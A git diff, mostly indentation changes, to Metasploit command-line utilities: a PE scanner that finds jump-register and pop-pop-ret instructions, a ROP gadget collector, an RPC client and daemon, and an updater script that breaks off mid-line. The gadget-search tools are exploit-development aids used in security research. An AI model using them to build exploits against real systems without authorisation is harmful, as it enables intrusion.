a/msfpescan +++ b/msfpescan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -24,7 +24,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end @@ -50,102 +50,102 @@ param = {} pe_klass = Rex::PeParsey::Pe opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::PeScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::PeScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::PeScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::PeScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::PeScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::PeScan::Scanner::RegexScanner + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::PeScan::Search::DumpRVA - param['args'] = opt2i(t) + worker = Rex::PeScan::Search::DumpRVA + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::PeScan::Search::DumpOffset - param['args'] = opt2i(t) + worker = Rex::PeScan::Search::DumpOffset + param['args'] = opt2i(t) end opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler') do |t| - worker = Rex::PeScan::Analyze::Fingerprint - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') + worker = Rex::PeScan::Analyze::Fingerprint + param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') end opt.on('-i', '--info', 'Display detailed information about the image') do |t| - worker = Rex::PeScan::Analyze::Information + worker = Rex::PeScan::Analyze::Information end opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk ') do |t| - worker = Rex::PeScan::Analyze::Ripper - param['dir'] = t + worker = Rex::PeScan::Analyze::Ripper + param['dir'] = t end opt.on('--context-map [directory]', 'Generate context-map files') do |t| - worker = Rex::PeScan::Analyze::ContextMapDumper - param['dir'] = t + worker = Rex::PeScan::Analyze::ContextMapDumper + param['dir'] = t end opt.separator('') opt.separator('Options:') opt.on('-M', '--memdump', 'The targets are memdump.exe directories') do |t| - pe_klass = Rex::PeParsey::PeMemDump + pe_klass = Rex::PeParsey::PeMemDump end opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t| - param['disasm'] = true + param['disasm'] = true end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression') do |t| - param['filteraddr'] = t + param['filteraddr'] = t end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end @@ -153,48 +153,48 @@ files = [] ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end end files.each do |file| - $stdout.puts "" + $stdout.puts "" - param['file'] = file + param['file'] = file - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end + begin + pe = pe_klass.new_from_file(file, true) + rescue ::Interrupt + raise $! + rescue Rex::PeParsey::FileHeaderError + next if $!.message == "Couldn't find the PE magic!" + raise $! + rescue Errno::ENOENT + $stdout.puts("File does not exist: #{file}") + next + rescue ::Rex::PeParsey::SkipError + next + rescue ::Exception => e + $stdout.puts "[#{file}] #{e.class}: #{e}" + next + end - if (param['imagebase']) - pe.image_base = param['imagebase']; - end + if (param['imagebase']) + pe.image_base = param['imagebase']; + end - o = worker.new(pe) - o.scan(param) + o = worker.new(pe) + o.scan(param) - pe.close + pe.close end $stdout.puts "" diff --git a/msfrop b/msfrop index 91283e5717..6aa9818306 100755 --- a/msfrop +++ b/msfrop @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -28,7 +28,7 @@ require 'rex/ui/text/color' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opts = {} @@ -40,45 +40,45 @@ opt.separator('') opt.separator('Options:') opt.on('-d', '--depth [size]', 'Number of maximum bytes to backwards disassemble from return instructions') do |d| - opts[:depth] = opt2i(d) + opts[:depth] = opt2i(d) end opt.on('-s', '--search [regex]', 'Search for gadgets matching a regex, match intel syntax or raw bytes') do |regex| - opts[:pattern] = regex + opts[:pattern] = regex end opt.on('-n', '--nocolor', 'Disable color. Useful for piping to other tools like the less and more commands') do - color = false + color = false end opt.on('-x', '--export [filename]', 'Export gadgets to CSV format') do |csv| - opts[:export] = csv + opts[:export] = csv end opt.on('-i', '--import [filename]', 'Import gadgets from previous collections') do |csv| - opts[:import] = csv + opts[:import] = csv end opt.on('-v', '--verbose', 'Output very verbosely') do - opts[:verbose] = true + opts[:verbose] = true end opt.on_tail('-h', '--help', 'Show this message') do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if opts.empty? and (ARGV.empty? or ARGV.nil?) - puts "no options" - puts opt - exit(1) + puts "no options" + puts opt + exit(1) end # set defaults @@ -87,88 +87,88 @@ opts[:depth] ||= 5 gadgets = [] if opts[:import].nil? - files = [] - ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end - end - - ropbuilder = Rex::RopBuilder::RopCollect.new + files = [] + ARGV.each do |file| + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end + end + + ropbuilder = Rex::RopBuilder::RopCollect.new - files.each do |file| - ret, retn = [] - ropbuilder = Rex::RopBuilder::RopCollect.new(file) - ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color) - retn = ropbuilder.collect(opts[:depth], "\xc2") # retn - ret = ropbuilder.collect(opts[:depth], "\xc3") # ret - ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color) + files.each do |file| + ret, retn = [] + ropbuilder = Rex::RopBuilder::RopCollect.new(file) + ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color) + retn = ropbuilder.collect(opts[:depth], "\xc2") # retn + ret = ropbuilder.collect(opts[:depth], "\xc3") # ret + ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color) - # compile a list of all gadgets from all files - ret.each do |gadget| - gadgets << gadget - if opts[:verbose] - ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg("#{gadget[:disasm]}\n", color) - end - end + # compile a list of all gadgets from all files + ret.each do |gadget| + gadgets << gadget + if opts[:verbose] + ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg("#{gadget[:disasm]}\n", color) + end + end - retn.each do |gadget| - gadgets << gadget - if opts[:verbose] - ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg("#{gadget[:disasm]}\n", color) - end - end - - end + retn.each do |gadget| + gadgets << gadget + if opts[:verbose] + ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg("#{gadget[:disasm]}\n", color) + end + end + + end - ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color) + ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color) end if opts[:import] - ropbuilder = Rex::RopBuilder::RopCollect.new() - ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color) - gadgets = ropbuilder.import(opts[:import]) + ropbuilder = Rex::RopBuilder::RopCollect.new() + ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color) + gadgets = ropbuilder.import(opts[:import]) - gadgets.each do |gadget| - ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg(gadget[:disasm] + "\n", color) - end + gadgets.each do |gadget| + ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg(gadget[:disasm] + "\n", color) + end - ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color) + ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color) end if opts[:pattern] - matches = ropbuilder.pattern_search(opts[:pattern]) - if opts[:verbose] - ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color) - end + matches = ropbuilder.pattern_search(opts[:pattern]) + if opts[:verbose] + ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color) + end end if opts[:export] - ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color) - csv = ropbuilder.to_csv(gadgets) + ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color) + csv = ropbuilder.to_csv(gadgets) - if csv.nil? - exit(1) - end + if csv.nil? + exit(1) + end - begin - fd = File.new(opts[:export], 'w') - fd.puts csv - fd.close - rescue - puts "Error writing #{opts[:export]} file" - exit(1) - end - ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color) + begin + fd = File.new(opts[:export], 'w') + fd.puts csv + fd.close + rescue + puts "Error writing #{opts[:export]} file" + exit(1) + end + ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color) end diff --git a/msfrpc b/msfrpc index 7947632f31..4a791dfc13 100755 --- a/msfrpc +++ b/msfrpc @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -26,51 +26,51 @@ require 'rex/parser/arguments' # Declare the argument parser for msfrpc arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Connect to this IP address" ], - "-p" => [ true, "Connect to the specified port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-h" => [ false, "Help banner" ] + "-a" => [ true, "Connect to this IP address" ], + "-p" => [ true, "Connect to the specified port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-h" => [ false, "Help banner" ] ) opts = { - 'User' => 'msf', - 'SSL' => true, - 'ServerPort' => 55553, - 'Type' => 'Msg' + 'User' => 'msf', + 'SSL' => true, + 'ServerPort' => 55553, + 'Type' => 'Msg' } # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-h" - print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-h" + print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) + exit + end } if(not opts['ServerHost']) - $stderr.puts "[-] Error: a server IP must be specified (-a)" - $stderr.puts arguments.usage - exit(0) + $stderr.puts "[-] Error: a server IP must be specified (-a)" + $stderr.puts arguments.usage + exit(0) end if(not opts['Pass']) - $stderr.puts "[-] Error: a password must be specified (-P)" - $stderr.puts arguments.usage - exit(0) + $stderr.puts "[-] Error: a password must be specified (-P)" + $stderr.puts arguments.usage + exit(0) end $0 = "msfrpc" @@ -79,9 +79,9 @@ require 'msf/core/rpc/v10/client' require 'rex/ui' rpc = Msf::RPC::Client.new( - :host => opts['ServerHost'], - :port => opts['ServerPort'], - :ssl => opts['SSL'] + :host => opts['ServerHost'], + :port => opts['ServerPort'], + :ssl => opts['SSL'] ) res = rpc.login(opts['User'], opts['Pass']) diff --git a/msfrpcd b/msfrpcd index 31b0196435..892dd61a63 100755 --- a/msfrpcd +++ b/msfrpcd @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -26,22 +26,22 @@ require 'rex/parser/arguments' # Declare the argument parser for msfrpcd arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address" ], - "-p" => [ true, "Bind to this port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-u" => [ true, "URI for Web server" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-n" => [ false, "Disable database" ], - "-h" => [ false, "Help banner" ]) + "-a" => [ true, "Bind to this IP address" ], + "-p" => [ true, "Bind to this port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-u" => [ true, "URI for Web server" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-n" => [ false, "Disable database" ], + "-h" => [ false, "Help banner" ]) opts = { - 'RunInForeground' => true, - 'SSL' => true, - 'ServerHost' => '0.0.0.0', - 'ServerPort' => 55553, - 'ServerType' => 'Msg' + 'RunInForeground' => true, + 'SSL' => true, + 'ServerHost' => '0.0.0.0', + 'ServerPort' => 55553, + 'ServerType' => 'Msg' } foreground = false @@ -50,32 +50,32 @@ frameworkOpts = {} # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-f" - foreground = true - when "-u" - opts['URI'] = val - when "-n" - frameworkOpts['DisableDatabase'] = true - when "-h" - print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-f" + foreground = true + when "-u" + opts['URI'] = val + when "-n" + frameworkOpts['DisableDatabase'] = true + when "-h" + print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) + exit + end } if(not opts['Pass']) - $stderr.puts "[-] Error: a password must be specified (-P)" - exit(0) + $stderr.puts "[-] Error: a password must be specified (-P)" + exit(0) end $0 = "msfrpcd" @@ -92,14 +92,14 @@ require 'msf/ui' # Fork into the background if requested begin - if foreground - $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." - else - $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." - exit(0) if Process.fork() - end + if foreground + $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." + else + $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." + exit(0) if Process.fork() + end rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" + $stderr.puts "[-] Background mode is not available on this platform" end # Create an instance of the framework @@ -109,7 +109,7 @@ $framework.db.sink.restart if RUBY_PLATFORM !~ /cygwin/ and not frameworkOpts['D # Run the plugin instance in the foreground. begin - $framework.plugins.load("#{rpctype.downcase}rpc", opts).run + $framework.plugins.load("#{rpctype.downcase}rpc", opts).run rescue ::Interrupt - $stderr.puts "[*] Shutting down" + $stderr.puts "[*] Shutting down" end diff --git a/msfupdate b/msfupdate index 69e83e1e16..9ac8913bb7 100755 --- a/msfupdate +++ b/msfupdate @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end @msfbase_dir = File.dirname(msfbase) @@ -25,103 +25,103 @@ $stderr.puts "" # Bail right away, no waiting around for consoles. if not (Process.uid == 0 or File.stat(msfbase).owned?) - $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" - $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." - exit 0x10 + $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" + $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." + exit 0x10 end def is_apt - File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) end # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git - File.directory?(File.join(@msfbase_dir, ".git")) + File.directory?(File.join(@msfbase_dir, ".git")) end def is_svn - File.directory?(File.join(@msfbase_dir, ".svn")) + File.directory?(File.join(@msfbase_dir, ".svn")) end # Adding an upstream enables msfupdate to pull updates from # Rapid7's metasploit-framework repo instead of the repo # the user originally cloned or forked. def add_git_upstream - $stdout.puts "[*] Attempting to add remote 'upstream' to your local git repository." - system("git", "remote", "add", "upstream", "git://github.com/rapid7/metasploit-framework.git") - $stdout.puts "[*] Added remote 'upstream' to your local git repository." + $stdout.puts "[*] Attempting to add remote 'upstream' to your local git repository." + system("git", "remote", "add", "upstream", "git://github.com/rapid7/metasploit-framework.git") + $stdout.puts "[*] Added remote 'upstream' to your local git repository." end def print_deprecation_warning - $stdout.puts "" - $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" - $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" - $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," - $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" - $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" - $stdout.puts "[-] " - $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" - $stdout.puts "" + $stdout.puts "" + $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" + $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" + $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," + $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" + $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" + $stdout.puts "[-] " + $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" + $stdout.puts "" end # This only exits if you actually pass a wait option, otherwise # just returns nil. This is likely unexpected, revisit this. def maybe_wait_and_exit(exit_code=0) - if @actually_wait - $stdout.puts "" - $stdout.puts "[*] Please hit enter to exit" - $stdout.puts "" - $stdin.readline - exit exit_code - end + if @actually_wait + $stdout.puts "" + $stdout.puts "[*] Please hit enter to exit" + $stdout.puts "" + $stdin.readline + exit exit_code + end end def apt_upgrade_available(package) - require 'open3' - installed = nil - upgrade = nil - ::Open3.popen3({'LANG'=>'en_US.UTF-8'}, "apt-cache", "policy", package) do |stdin, stdout, stderr| - stdout.each do |line| - installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ - upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ - break if installed && upgrade - end - end - if installed && installed != upgrade - upgrade - else - nil - end + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3({'LANG'=>'en_US.UTF-8'}, "apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end end # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| - case arg - # Handle the old wait/nowait argument behavior - when "wait", "nowait" - @wait_index = i - @actually_wait = (arg == "wait") - # An empty or absent config-dir means a default config-dir - when "--config-dir" - @configdir_index = i - # A defined config dir means a defined config-dir - when /--config-dir=(.*)?/ - # Spaces in the directory should be fine since this whole thing is passed - # as a single argument via the multi-arg syntax for system() below. - @configdir = $1 - @configdir_index = i - when /--git-remote=([^\s]*)?/ - @git_remote = $1 - @git_remote_index = i - when /--git-branch=([^\s]*)?/ - @git_branch = $1 - @git_branch_index = i - end + case arg + # Handle the old wait/nowait argument behavior + when "wait", "nowait" + @wait_index = i + @actually_wait = (arg == "wait") + # An empty or absent config-dir means a default config-dir + when "--config-dir" + @configdir_index = i + # A defined config dir means a defined config-dir + when /--config-dir=(.*)?/ + # Spaces in the directory should be fine since this whole thing is passed + # as a single argument via the multi-arg syntax for system() below. + @configdir = $1 + @configdir_index = i + when /--git-remote=([^\s]*)?/ + @git_remote = $1 + @git_remote_index = i + when /--git-branch=([^\s]*)?/ + @git_branch = $1 + @git_branch_index = i + end end @args[@wait_index] = nil if @wait_index @@ -133,122 +133,122 @@ end ####### Since we're SVN, do it all this way ####### if is_svn - # We're fully deprecated now, so just exit. - # Leaving in the commented code in case someone wants to - # get a last-chance at msfupdate before the SVN server goes - # off line, which will be ANY DAY NOW. Seriously. - print_deprecation_warning - $stdin.readline if @actually_wait - exit(0x11) # Comment this to get old functionality back. - @args.push("--config-dir=#{@configdir}") - @args.push("--non-interactive") + # We're fully deprecated now, so just exit. + # Leaving in the commented code in case someone wants to + # get a last-chance at msfupdate before the SVN server goes + # off line, which will be ANY DAY NOW. Seriously. + print_deprecation_warning + $stdin.readline if @actually_wait + exit(0x11) # Comment this to get old functionality back. + @args.push("--config-dir=#{@configdir}") + @args.push("--non-interactive") - res = system("svn", "cleanup") - if res.nil? - $stderr.puts "[-] ERROR: Failed to run svn" - $stderr.puts "" - $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" - $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" - $stderr.puts "[-] to ensure a proper environment." - maybe_wait_and_exit 1 - else - # Cleanup worked, go ahead and update - system("svn", "update", *@args) - end + res = system("svn", "cleanup") + if res.nil? + $stderr.puts "[-] ERROR: Failed to run svn" + $stderr.puts "" + $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" + $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" + $stderr.puts "[-] to ensure a proper environment." + maybe_wait_and_exit 1 + else + # Cleanup worked, go ahead and update + system("svn", "update", *@args) + end end ####### Since we're Git, do it all that way ####### if is_git - out = `git remote show upstream` # Actually need the output for this one. - add_git_upstream unless $?.success? and out =~ %r{(https|git|git@github\.com):(//github\.com/)?(rapid7/metasploit-framework\.git)} + out = `git remote show upstream` # Actually need the output for this one. + add_git_upstream unless $?.success? and out =~ %r{(https|git|git@github\.com):(//github\.com/)?(rapid7/metasploit-framework\.git)} - remote = @git_remote || "upstream" - branch = @git_branch || "master" + remote = @git_remote || "upstream" + branch = @git_branch || "master" - # This will save local changes in a stash, but won't - # attempt to reapply them. If the user wants them back - # they can always git stash pop them, and that presumes - # they know what they're doing when they're editing local - # checkout, which presumes they're not using msfupdate - # to begin with. - # - # Note, this requires at least user.name and user.email - # to be configured in the global git config. Installers should - # take care that this is done. TODO: Enforce this in msfupdate - committed = system("git", "diff", "--quiet", "HEAD") - if committed.nil? - $stderr.puts "[-] ERROR: Failed to run git" - $stderr.puts "" - $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" - $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" - $stderr.puts "[-] to ensure a proper environment." - maybe_wait_and_exit 1 - elsif not committed - system("git", "stash") - $stdout.puts "[*] Stashed local changes to avoid merge conflicts." - $stdout.puts "[*] Run `git stash pop` to reapply local changes." - end + # This will save local changes in a stash, but won't + # attempt to reapply them. If the user wants them back + # they can always git stash pop them, and that presumes + # they know what they're doing when they're editing local + # checkout, which presumes they're not using msfupdate + # to begin with. + # + # Note, this requires at least user.name and user.email + # to be configured in the global git config. Installers should + # take care that this is done. TODO: Enforce this in msfupdate + committed = system("git", "diff", "--quiet", "HEAD") + if committed.nil? + $stderr.puts "[-] ERROR: Failed to run git" + $stderr.puts "" + $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" + $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" + $stderr.puts "[-] to ensure a proper environment." + maybe_wait_and_exit 1 + elsif not committed + system("git", "stash") + $stdout.puts "[*] Stashed local changes to avoid merge conflicts." + $stdout.puts "[*] Run `git stash pop` to reapply local changes." + end - system("git", "reset", "HEAD", "--hard") - system("git", "checkout", branch) - system("git", "fetch", remote) - system("git", "merge", "#{remote}/#{branch}") + system("git", "reset", "HEAD", "--hard") + system("git", "checkout", branch) + system("git", "fetch", remote) + system("git", "merge", "#{remote}/#{branch}") - $stdout.puts "[*] Updating gems..." - require 'bundler' - Bundler.with_clean_env do - system("bundle", "install") - end + $stdout.puts "[*] Updating gems..." + require 'bundler' + Bundler.with_clean_env do + system("bundle", "install") + end end if is_installed - update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) - product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) - if File.exists? product_key - if File.readable? product_key - system("ruby", update_script) - else - $stdout.puts "[-] ERROR: Failed to update Metasploit installation" - $stdout.puts "" - $stdout.puts "[-] You must be able to read the product key for the" - $stdout.puts "[-] Metasploit installation in order to run msfupdate." - $stdout.puts "[-] Usually, this means you must be root (EUID 0)." - maybe_wait_and_exit 10 - end - else - $stdout.puts "[-] ERROR: Failed to update Metasploit installation" - $stdout.puts "" - $stdout.puts "[-] In order to update your Metasploit installation," - $stdout.puts "[-] you must first register it through the UI, here:" - $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" - $stderr.puts "[-] Edition is totally free and takes just a few seconds" - $stderr.puts "[-] to register!)" - maybe_wait_and_exit 11 - end + update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) + product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) + if File.exists? product_key + if File.readable? product_key + system("ruby", update_script) + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] You must be able to read the product key for the" + $stdout.puts "[-] Metasploit installation in order to run msfupdate." + $stdout.puts "[-] Usually, this means you must be root (EUID 0)." + maybe_wait_and_exit 10 + end + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] In order to update your Metasploit installation," + $stdout.puts "[-] you must first register it through the UI, here:" + $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" + $stderr.puts "[-] Edition is totally free and takes just a few seconds" + $stderr.puts "[-] to register!)" + maybe_wait_and_exit 11 + end end if is_apt - $stdout.puts "[*] Checking for updates" - system("apt-get", "-qq", "update") + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") - packages = [] - packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') - packages << 'metasploit' if pro_version = 